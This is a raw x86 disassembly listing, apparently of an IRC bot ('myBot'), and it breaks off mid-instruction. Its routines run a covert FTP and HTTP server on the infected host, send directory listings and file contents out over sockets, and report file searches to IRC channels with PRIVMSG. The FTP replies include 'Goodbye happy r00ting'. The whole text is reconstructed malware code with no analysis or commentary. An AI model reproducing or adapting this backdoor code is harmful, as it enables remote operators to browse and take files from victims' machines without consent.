sub_405409+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059DB ; --------------------------------------------------------------------------- loc_4059BC: ; CODE XREF: sub_405409+50Dj lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4059DE push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059DB: ; CODE XREF: sub_405409+28Bj ; sub_405409+2AFj ... push edi call ebx loc_4059DE: ; CODE XREF: sub_405409+3DFj ; sub_405409+539j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415570 add esp, 0Ch loc_4059F0: ; CODE XREF: sub_405409+160j ; sub_405409+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405537 jmp loc_4054FC ; --------------------------------------------------------------------------- loc_405A02: ; CODE XREF: sub_405409+11Ej push 1 pop eax loc_405A05: ; CODE XREF: sub_405409+D0j pop edi pop esi pop ebx leave retn 4 sub_405409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A0C proc near ; CODE XREF: sub_405409+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4211B0 push 0 push 1 push 2 call dword_4211E0 push [ebp+arg_0] mov dword_438FF8, eax mov [ebp+var_10], 2 call dword_4211D8 push [ebp+arg_4] mov [ebp+var_C], eax call dword_4211DC mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_438FF8 call dword_4211E4 cmp eax, 0FFFFFFFFh jnz short loc_405A84 push dword_438FF8 call dword_4211F0 call dword_4211AC xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A84: ; CODE XREF: sub_405A0C+60j push 1 pop eax leave retn sub_405A0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A89 proc near ; CODE XREF: sub_405409+531p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_42107C lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_415BE8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405B20 test byte ptr [esi+0Ch], 10h jnz short loc_405B04 push edi mov edi, 400h loc_405ACC: ; CODE XREF: sub_405A89+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_416BB0 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_438FF8 call dword_4211EC push 1 call dword_421060 test byte ptr [esi+0Ch], 10h jz short loc_405ACC pop edi loc_405B04: ; CODE XREF: sub_405A89+3Bj push esi call sub_415B40 pop ecx push dword_438FF8 call dword_4211F0 call dword_4211AC push 1 pop eax loc_405B20: ; CODE XREF: sub_405A89+35j pop esi leave retn sub_405A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B23 proc near ; DATA XREF: sub_407276+333o ; sub_40CE55+5068o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_415570 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43A3B8 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43A438 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405F0E mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43F554[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43A3E4 cmp eax, 0FFFFFFFFh jz loc_405F0E push 7FFFFFFFh push edi call dword_43A3E0 cmp eax, 0FFFFFFFFh jz loc_405F0E lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43A454 cmp eax, 0FFFFFFFFh jz loc_405F0E mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BFA: ; CODE XREF: sub_405B23+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43A3A0 cmp eax, 0FFFFFFFFh jz loc_405F09 xor esi, esi mov [ebp+var_4], esi loc_405C30: ; CODE XREF: sub_405B23+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43A2B0 test eax, eax jz loc_405EF4 cmp esi, [ebp+var_C] jnz short loc_405CB2 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43A44C cmp eax, 0FFFFFFFFh jz loc_405EF4 xor ecx, ecx test ebx, ebx jbe short loc_405C84 lea edx, [ebp+var_134] loc_405C78: ; CODE XREF: sub_405B23+15Fj cmp [edx], eax jz short loc_405C84 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C78 loc_405C84: ; CODE XREF: sub_405B23+14Dj ; sub_405B23+157j cmp ecx, ebx jnz short loc_405CA1 cmp ebx, 40h jnb short loc_405CA1 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405CA1: ; CODE XREF: sub_405B23+163j ; sub_405B23+168j cmp eax, [ebp+var_8] jbe loc_405EF4 mov [ebp+var_8], eax jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405CB2: ; CODE XREF: sub_405B23+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_415570 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415570 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43A3D0 test eax, eax jg short loc_405D45 push esi call dword_43A450 xor ecx, ecx test ebx, ebx jbe loc_405EF4 lea eax, [ebp+var_134] loc_405D04: ; CODE XREF: sub_405B23+1EBj cmp [eax], esi jz short loc_405D15 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405D04 jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405D15: ; CODE XREF: sub_405B23+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D39 lea eax, [ebp+ecx*4+var_134] loc_405D23: ; CODE XREF: sub_405B23+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405D23 loc_405D39: ; CODE XREF: sub_405B23+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405D45: ; CODE XREF: sub_405B23+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_415570 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_415CF0 add esp, 10h test eax, eax jbe loc_405EF4 loc_405D73: ; CODE XREF: sub_405B23+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405E18 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_405DEC lea eax, [ebp+var_18F0] push eax call sub_415CF0 cmp eax, 5 pop ecx jbe short loc_405DEC mov eax, offset asc_426A00 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_415AC0 pop ecx pop ecx push eax call sub_415AC0 pop ecx pop ecx push eax call sub_416C98 push eax lea eax, [ebp+var_23C] push eax call sub_415C00 add esp, 10h jmp short loc_405E03 ; --------------------------------------------------------------------------- loc_405DEC: ; CODE XREF: sub_405B23+27Fj ; sub_405B23+291j lea eax, [ebp+var_18F0] push offset asc_4269FC ; "\r\n" push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_405E37 loc_405E03: ; CODE XREF: sub_405B23+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415570 add esp, 0Ch or esi, 0FFFFFFFFh loc_405E18: ; CODE XREF: sub_405B23+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_415CF0 cmp [ebp+arg_0], eax pop ecx jb loc_405D73 jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405E37: ; CODE XREF: sub_405B23+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E81 lea eax, [ebp+var_134] loc_405E43: ; CODE XREF: sub_405B23+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E54 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E43 jmp short loc_405E84 ; --------------------------------------------------------------------------- loc_405E54: ; CODE XREF: sub_405B23+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E78 lea eax, [ebp+ecx*4+var_134] loc_405E62: ; CODE XREF: sub_405B23+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E62 loc_405E78: ; CODE XREF: sub_405B23+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E84 ; --------------------------------------------------------------------------- loc_405E81: ; CODE XREF: sub_405B23+318j mov esi, [ebp+var_4] loc_405E84: ; CODE XREF: sub_405B23+32Fj ; sub_405B23+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EED lea eax, [ebp+var_360] push eax call sub_415CF0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_415CF0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EED and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43A454 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_406100 add esp, 14h jmp short loc_405EF4 ; --------------------------------------------------------------------------- loc_405EED: ; CODE XREF: sub_405B23+369j ; sub_405B23+38Fj push esi call dword_43A450 loc_405EF4: ; CODE XREF: sub_405B23+11Dj ; sub_405B23+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405C30 jmp loc_405BFA ; --------------------------------------------------------------------------- loc_405F09: ; CODE XREF: sub_405B23+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405F0E: ; CODE XREF: sub_405B23+6Aj ; sub_405B23+92j ... call dword_43A34C push eax lea eax, [ebp+var_8F0] push offset unk_4269B4 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F54 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_412D4C add esp, 14h loc_405F54: ; CODE XREF: sub_405B23+40Cj lea eax, [ebp+var_8F0] push eax call sub_40B16D pop ecx push edi call dword_43A450 push [ebp+var_254] call sub_4152AF pop ecx push ebx call dword_421048 pop edi pop esi pop ebx sub_405B23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F7E proc near ; DATA XREF: sub_406100+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_415D70 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4154E7 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_4154E7 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_405FE3 push offset aTextHtml ; "text/html" jmp short loc_405FE8 ; --------------------------------------------------------------------------- loc_405FE3: ; CODE XREF: sub_405F7E+5Cj push offset aApplicationOct ; "application/octet-stream" loc_405FE8: ; CODE XREF: sub_405F7E+63j lea eax, [ebp+var_9C] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_421084 lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_421080 lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406061 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154E7 add esp, 24h jmp short loc_406082 ; --------------------------------------------------------------------------- loc_406061: ; CODE XREF: sub_405F7E+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154E7 add esp, 28h loc_406082: ; CODE XREF: sub_405F7E+E1j lea eax, [ebp+var_1654] push edi push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43A408 cmp [ebp+var_A4], edi jnz short loc_4060C2 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A32 pop ecx pop ecx jmp short loc_4060DF ; --------------------------------------------------------------------------- loc_4060C2: ; CODE XREF: sub_405F7E+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4063B0 add esp, 10h loc_4060DF: ; CODE XREF: sub_405F7E+142j push [ebp+var_44C] call dword_43A450 push [ebp+var_B4] call sub_4152AF pop ecx push edi call dword_421048 pop edi pop esi sub_405F7E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406100 proc near ; CODE XREF: sub_405B23+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415570 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406136 push eax push offset aS_2 ; "\\%s" jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406136: ; CODE XREF: sub_406100+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40613F: ; CODE XREF: sub_406100+34j lea eax, [ebp+var_10C] push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_415CF0 test eax, eax pop ecx jbe short loc_4061DA mov [ebp+arg_8], 2 loc_40616A: ; CODE XREF: sub_406100+D8j lea eax, [ebp+var_10C] push eax call sub_415CF0 cmp [ebp+arg_8], eax pop ecx jnb short loc_4061AA cmp [ebp+esi+var_10C], 25h jnz short loc_4061AA cmp [ebp+esi+var_10B], 32h jnz short loc_4061AA cmp [ebp+esi+var_10A], 30h jnz short loc_4061AA inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4061C4 ; --------------------------------------------------------------------------- loc_4061AA: ; CODE XREF: sub_406100+7Aj ; sub_406100+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_4061BA push 5Ch pop eax jmp short loc_4061BD ; --------------------------------------------------------------------------- loc_4061BA: ; CODE XREF: sub_406100+B3j movsx eax, al loc_4061BD: ; CODE XREF: sub_406100+B8j mov [ebp+ebx+var_210], al loc_4061C4: ; CODE XREF: sub_406100+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_415CF0 cmp esi, eax pop ecx jb short loc_40616A loc_4061DA: ; CODE XREF: sub_406100+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4154E7 lea eax, [ebp+var_314] push offset asc_426CB4 ; "\n" push eax call sub_416C98 add esp, 18h lea eax, [ebp+var_314] push eax call dword_421094 push 1 cmp eax, 10h pop esi jz short loc_406228 cmp eax, 0FFFFFFFFh jnz short loc_40622B push [ebp+arg_0] jmp short loc_4062A7 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_406100+11Cj mov [ebp+var_4], esi loc_40622B: ; CODE XREF: sub_406100+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_406238 mov [ebp+var_4], esi loc_406238: ; CODE XREF: sub_406100+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4062B2 cmp [ebp+arg_C], edi jz short loc_4062A6 lea eax, [ebp+var_314] push offset asc_426CB0 ; "*" push eax call sub_415C10 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154E7 lea eax, [ebp+var_210] push eax call sub_406AEF lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4154E7 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_406301 ; --------------------------------------------------------------------------- loc_4062A6: ; CODE XREF: sub_406100+14Fj push ebx loc_4062A7: ; CODE XREF: sub_406100+126j call dword_43A450 jmp loc_4063A9 ; --------------------------------------------------------------------------- loc_4062B2: ; CODE XREF: sub_406100+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_421078 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406301 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154E7 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_421090 push esi mov [ebp+var_330], eax call dword_42106C loc_406301: ; CODE XREF: sub_406100+1A4j ; sub_406100+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_426C6C push eax call sub_4154E7 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_414F93 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43F54C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F7E push edi push edi call dword_42108C mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43F55C[ecx], eax jz short loc_40637B loc_406369: ; CODE XREF: sub_406100+279j cmp [ebp+var_318], edi jnz short loc_4063A9 push 5 call dword_421060 jmp short loc_406369 ; --------------------------------------------------------------------------- loc_40637B: ; CODE XREF: sub_406100+267j push ebx call dword_43A450 call dword_421088 push eax lea eax, [ebp+var_8C4] push offset unk_426C20 push eax call sub_4154E7 lea eax, [ebp+var_8C4] push eax call sub_40B16D add esp, 10h loc_4063A9: ; CODE XREF: sub_406100+1ADj ; sub_406100+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_406100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063B0 proc near ; CODE XREF: sub_405F7E+159p ; sub_40CE55+464Cp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415570 mov edi, [ebp+arg_0] push offset asc_426CB4 ; "\n" push edi call sub_416C98 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40640F push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_415A6A add esp, 14h jmp loc_40650C ; --------------------------------------------------------------------------- loc_40640F: ; CODE XREF: sub_4063B0+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064F2 call sub_415CF0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 push edi call sub_415CF0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 0Ch jmp short loc_40650C ; --------------------------------------------------------------------------- loc_4064F2: ; CODE XREF: sub_4063B0+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 10h loc_40650C: ; CODE XREF: sub_4063B0+5Aj ; sub_4063B0+140j lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 cmp [ebp+arg_C], ebx jz short loc_4065A4 push [ebp+arg_C] call sub_415CF0 cmp eax, 2 pop ecx jbe short loc_4065A4 push [ebp+arg_C] call sub_415CF0 sub eax, 3 pop ecx jz short loc_406558 loc_40654C: ; CODE XREF: sub_4063B0+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406558 dec eax jnz short loc_40654C loc_406558: ; CODE XREF: sub_4063B0+19Aj ; sub_4063B0+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_416D40 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 loc_4065A4: ; CODE XREF: sub_4063B0+17Ej ; sub_4063B0+18Cj lea eax, [ebp+var_388] push eax push edi call dword_4210A8 lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4210A4 test eax, eax jz loc_406995 mov edi, 1FFh loc_4065D0: ; CODE XREF: sub_4063B0+5DFj cmp [ebp+var_388], ebx jz loc_40697D lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_415910 pop ecx test eax, eax pop ecx jz loc_40697D lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_415910 pop ecx test eax, eax pop ecx jz loc_40697D lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4210A0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_42109C mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406645 mov ecx, offset aAm ; "AM" loc_406645: ; CODE XREF: sub_4063B0+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_406651 sub eax, 0Ch loc_406651: ; CODE XREF: sub_4063B0+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4154E7 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067FE inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066D2 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_415A6A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_415A6A add esp, 28h jmp loc_40694E ; --------------------------------------------------------------------------- loc_4066D2: ; CODE XREF: sub_4063B0+2DBj cmp [ebp+arg_C], ebx jz loc_4067BC push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 lea eax, [ebp+var_35C] push eax call sub_415CF0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406772 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406777 ; --------------------------------------------------------------------------- loc_406772: ; CODE XREF: sub_4063B0+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406777: ; CODE XREF: sub_4063B0+3C0j lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40693F ; --------------------------------------------------------------------------- loc_4067BC: ; CODE XREF: sub_4063B0+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_415A6A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4067E9: ; CODE XREF: sub_4063B0+476j lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 24h jmp loc_40694E ; --------------------------------------------------------------------------- loc_4067FE: ; CODE XREF: sub_4063B0+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_406828 push ebx push [ebp+var_368] call sub_40C218 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4067E9 ; --------------------------------------------------------------------------- loc_406828: ; CODE XREF: sub_4063B0+454j cmp [ebp+arg_C], ebx jz loc_406928 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 lea eax, 